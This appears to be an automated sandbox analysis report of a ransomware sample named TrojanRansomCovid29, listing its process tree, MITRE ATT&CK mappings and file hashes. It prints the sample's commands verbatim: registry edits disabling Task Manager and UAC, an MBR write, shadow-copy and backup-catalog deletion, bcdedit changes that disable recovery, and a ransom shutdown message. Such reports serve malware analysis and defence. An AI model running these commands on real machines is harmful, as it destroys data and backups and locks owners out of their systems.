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C:\Users\Admin\AppData\Local\Temp\7zOCEE59F88\TrojanRansomCovid29.exe"C:\Users\Admin\AppData\Local\Temp\7zOCEE59F88\TrojanRansomCovid29.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\98FF.tmp\TrojanRansomCovid29.bat" "3⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\98FF.tmp\fakeerror.vbs"4⤵
- System Location Discovery: System Language Discovery
PID:1984
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C:\Windows\SysWOW64\PING.EXEping localhost -n 24⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1416
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4964
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C:\Windows\SysWOW64\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:652
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4400
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4292
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4912
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C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f4⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2652
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C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2640
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C:\Users\Admin\AppData\Local\Temp\98FF.tmp\mbr.exembr.exe4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
PID:2356
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C:\Users\Admin\AppData\Local\Temp\98FF.tmp\Cov29Cry.exeCov29Cry.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"5⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete6⤵
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet7⤵
- Interacts with shadow copies
PID:2900
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no6⤵PID:1408
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures7⤵
- Modifies boot configuration data using bcdedit
PID:4664
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no7⤵
- Modifies boot configuration data using bcdedit
PID:4736
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet6⤵PID:5072
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet7⤵
- Deletes backup catalog
PID:440
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt6⤵PID:4020
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C:\Windows\SysWOW64\shutdown.exeshutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4044
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C:\Windows\SysWOW64\PING.EXEping localhost -n 94⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3100
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /im explorer.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4880
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C:\Users\Admin\AppData\Local\Temp\98FF.tmp\Cov29LockScreen.exeCov29LockScreen.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3164
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C:\Users\Admin\AppData\Local\Temp\7zOCEE5B659\Chaos Ransomware Builder v4.exe"C:\Users\Admin\AppData\Local\Temp\7zOCEE5B659\Chaos Ransomware Builder v4.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4748
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C:\Users\Admin\AppData\Local\Temp\7zOCEE4D3B9\TrojanRansomCovid29.exe"C:\Users\Admin\AppData\Local\Temp\7zOCEE4D3B9\TrojanRansomCovid29.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2796 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A500.tmp\TrojanRansomCovid29.bat" "3⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3240 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\A500.tmp\fakeerror.vbs"4⤵
- System Location Discovery: System Language Discovery
PID:4212
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C:\Windows\SysWOW64\PING.EXEping localhost -n 24⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4148
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4808
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C:\Windows\SysWOW64\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2744
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1456
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4756
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:220
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C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f4⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:912
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C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:728
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C:\Users\Admin\AppData\Local\Temp\A500.tmp\mbr.exembr.exe4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
PID:3272
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C:\Users\Admin\AppData\Local\Temp\A500.tmp\Cov29Cry.exeCov29Cry.exe4⤵
- Checks computer location settings
- Executes dropped EXE
PID:4164 -
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"5⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
PID:2312 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete6⤵PID:4020
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet7⤵
- Interacts with shadow copies
PID:4536
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete7⤵PID:4548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no6⤵PID:4012
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures7⤵
- Modifies boot configuration data using bcdedit
PID:1192
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no7⤵
- Modifies boot configuration data using bcdedit
PID:3724
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet6⤵PID:224
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet7⤵
- Deletes backup catalog
PID:4564
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt6⤵PID:400
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C:\Windows\SysWOW64\shutdown.exeshutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"4⤵
- System Location Discovery: System Language Discovery
PID:284
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C:\Windows\SysWOW64\PING.EXEping localhost -n 94⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2900
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /im explorer.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
PID:2440
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C:\Users\Admin\AppData\Local\Temp\A500.tmp\Cov29LockScreen.exeCov29LockScreen.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3764
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2372
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4092
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4876
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:4108
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
3File Deletion
3Modify Registry
3Pre-OS Boot
1Bootkit
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
226B
MD528d7fcc2b910da5e67ebb99451a5f598
SHA1a5bf77a53eda1208f4f37d09d82da0b9915a6747
SHA2562391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c
SHA5122d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6
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Filesize
285B
MD5f4f557db9c615c87e524802af8a9992f
SHA1692692c464b2a0229c697534c97d391179c5b646
SHA25617976e8a6952b0123b729b50b3ad981cbe97083db9de66a37eb6f8decc39b76e
SHA5127e8b9f2c01edf81252b722e2f9fffd1418150e9c5d6c322645bdc675561bad5b204c93ee5484b464c27a2d56ce86abc00152d32609bfd5f8271c32089b12d4c0
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Filesize
542KB
MD59f0563f2faaf6b9a0f7b3cf058ac80b6
SHA1244e0ff0a5366c1607f104e7e7af4949510226ec
SHA256a8054338891db7231f9885ca0d3bc90a651c63878ff603ede5c3efafa7e25254
SHA51240cdf4c754977e60c233417e42a62be02f9b5bfe239c0378664c28757ce6ce1fc3b91b83d6ef6bb184c4d831761f57a07255526d12a3a955c3b473bddb97f4c9
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Filesize
444KB
MD576d5900a4adf4c1f2ab8dbfd0a450c4a
SHA16177a27416519564ecb5d38093d61c9a81d3c290
SHA2567adc1f7ff040628a600f99465bd70e71ad83fecfe60b0f1dadc84b5d262ff350
SHA512286b05ff09d4e85856c251d56902486738d9b2457d9a56ea8a449195b349f2718816099f4602efba88dad592dd6cecefcd0748382888c3026dd585b3e46f0c6e
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Filesize
550KB
MD58b855e56e41a6e10d28522a20c1e0341
SHA117ea75272cfe3749c6727388fd444d2c970f9d01
SHA256f2665f89ba53abd3deb81988c0d5194992214053e77fc89b98b64a31a7504d77
SHA512eefab442b9c1be379e00c6a7de9d6d7d327ad8fd52d62a5744e104f6caa44f7147a8e74f340870f9c017980a3d8a5a86a05f76434539c01270c442a66b2af908
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Filesize
48KB
MD5f724c6da46dc54e6737db821f9b62d77
SHA1e35d5587326c61f4d7abd75f2f0fc1251b961977
SHA2566cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c
SHA5126f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc
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Filesize
103KB
MD58bcd083e16af6c15e14520d5a0bd7e6a
SHA1c4d2f35d1fdb295db887f31bbc9237ac9263d782
SHA256b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a
SHA51235999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a
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Filesize
1KB
MD557f0432c8e31d4ff4da7962db27ef4e8
SHA1d5023b3123c0b7fae683588ac0480cd2731a0c5e
SHA256b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc
SHA512bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf
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Filesize
144B
MD5c0437fe3a53e181c5e904f2d13431718
SHA144f9547e7259a7fb4fe718e42e499371aa188ab6
SHA256f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22
SHA512a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3
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Filesize
1.3MB
MD535af6068d91ba1cc6ce21b461f242f94
SHA1cb054789ff03aa1617a6f5741ad53e4598184ffa
SHA2569ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e
SHA512136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169
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Filesize
30KB
MD5108fc794e7171419cf881b4058f88d20
SHA1dd05defd9fe5fb103db09eb2a3bb72c5ed7d8777
SHA256741d2576009640a47733a6c724d56ed1a9cee1014cde047b9384181a1758cd34
SHA5123a1a22217ff636e48612ff3b55ac6611eda6ae0b5a1f4d693440cbd6aef84d6657d3cd076ca828ba828ee556ab64e5bdecb37c1d682590877f3b23345baeb0ea
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Filesize
142B
MD51a09a38485cbf1d59c29d8e3213e1ab9
SHA19cbe6ebd07b13a0d4b2565dc15a273629aa97251
SHA2560a3bdc40dc0d243784bc5fa887b79110350b3d3200684f3ba99880fcea40e3b8
SHA512a33c228196a4b3f14e40ac6ccb6c43002de28063594c472db852bedac20a6725f4e7601b9f32516e2c6bea35f83746973b3f1d200d9e5d668bda7553b62ac616
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Filesize
861B
MD5c53dee51c26d1d759667c25918d3ed10
SHA1da194c2de15b232811ba9d43a46194d9729507f0
SHA256dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52
SHA512da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c